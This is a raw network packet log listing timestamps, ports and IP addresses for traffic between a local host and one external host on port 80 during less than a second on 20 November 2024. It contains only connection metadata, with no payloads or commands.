Nov 20, 2024 18:57:21.489016056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.489088058 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.489924908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.489972115 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.489989996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.490034103 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.490744114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.490793943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.490840912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.490886927 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.491713047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.491772890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.491823912 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.491920948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.492798090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.492835999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.492854118 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.492877960 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.494067907 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.494081974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.494118929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.494667053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.494715929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.494813919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.494858980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.495603085 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.495703936 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.495815992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.495857954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.496583939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.496701002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.496742964 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.497591972 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.497637033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.497668028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.497714043 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.498528004 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.498575926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.498603106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.498658895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.499509096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.499550104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.499558926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.499597073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.500482082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.500533104 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.500653028 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.500749111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.501446962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.501491070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.501569033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.501614094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.502444983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.502490997 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.502507925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.502547026 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.503387928 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.503437996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.503501892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.503648996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.504374027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.504424095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.504532099 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.504580021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.508023977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.508143902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.508150101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.508192062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.540653944 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.540668964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.540733099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.540783882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.540829897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.540898085 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.541018963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.541733980 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.541781902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.541838884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.541881084 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.542706966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.542814970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.542814970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.542856932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.543677092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.543792963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.543801069 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.543831110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.544668913 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.544738054 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.544771910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.544884920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.545636892 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.545694113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.545794964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.545844078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.546601057 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.546653986 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.546688080 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.546737909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.547589064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.547641039 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.547672033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.547713041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.548578024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.548628092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.548664093 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.548679113 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.549549103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.549669981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.549726963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.549774885 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.550517082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.550575018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.550662041 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.550703049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.551553011 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.551606894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.551640034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.551841021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.552489996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.552510023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.552542925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.552558899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.553493023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.553607941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.553613901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.553658962 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.554414034 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.554475069 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.554514885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.554677963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.555407047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.555461884 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.555469990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.555716038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.556339025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.556381941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.556463957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.556521893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.557374001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.557420969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.557457924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.557501078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.558430910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.558490992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.558531046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.558715105 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.559252977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.559322119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.589858055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.589941978 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.589976072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.590013981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.590249062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.590295076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.590377092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.590449095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.591231108 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.591296911 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.591350079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.591399908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.592202902 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.592276096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.644865036 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.644979954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.645026922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.645179033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.645365000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.645415068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.645709991 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.645723104 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.645759106 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.646471024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.646521091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.646652937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.646699905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.647470951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.647517920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.647599936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.647645950 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.648392916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.648452044 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.648561954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.648646116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.649223089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.649292946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.649451971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.649507999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.650118113 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.650165081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.650181055 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.650270939 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.651108027 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.651156902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.651174068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.651215076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.652097940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.652137041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.652232885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.652273893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.653095007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.653145075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.653194904 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.681802988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.681844950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.681907892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.682116032 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.682166100 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.682290077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.682337999 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.683211088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.683223963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.683263063 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.684078932 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.684129000 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.684251070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.684295893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.685072899 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.685086012 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.685126066 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.686007023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.686019897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.686060905 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.686898947 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.687057018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.687081099 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.687182903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.687942982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.687959909 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.688220024 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.688925982 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.688991070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.689105988 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.689157009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.689870119 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.689929962 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.689956903 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.689975023 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.690737009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.690793991 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.690818071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.690901041 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.691745043 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.691793919 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.691843033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.691886902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.694794893 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694843054 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.694861889 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694875002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694885969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694899082 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694905996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.694915056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.694919109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.694951057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.694979906 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.695889950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.695940018 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.696050882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.696124077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.696975946 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.696989059 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.697022915 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.697040081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.698030949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.698050022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.698077917 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.698093891 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.698844910 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.698858023 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.698895931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.699758053 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.699804068 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.699939013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.699987888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.733331919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.733402967 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.733439922 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.733484030 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.733736038 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.733812094 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.734071970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.734201908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.734766006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.734817028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.734889030 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.734994888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.735832930 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.735912085 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.736020088 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.736073017 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.736859083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.736907005 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.737041950 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.737087965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.737802029 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.737823963 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.737883091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.738748074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.738795996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.738925934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.739033937 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.739640951 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.739653111 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.739696980 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.740741968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.740796089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.740917921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.740961075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.741628885 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.741714954 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.741810083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.741847992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.742522001 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.742569923 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.742682934 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.742739916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.743509054 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.743563890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.743674040 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.743727922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.744489908 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.744550943 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.744657993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.744699955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.745541096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.745553017 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.745601892 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.746468067 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.746531010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.746639013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.746686935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.747437954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.747479916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.747565985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.748397112 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.748456001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:21.748712063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:21.748758078 CET	49715	80	192.168.2.6	185.215.113.206
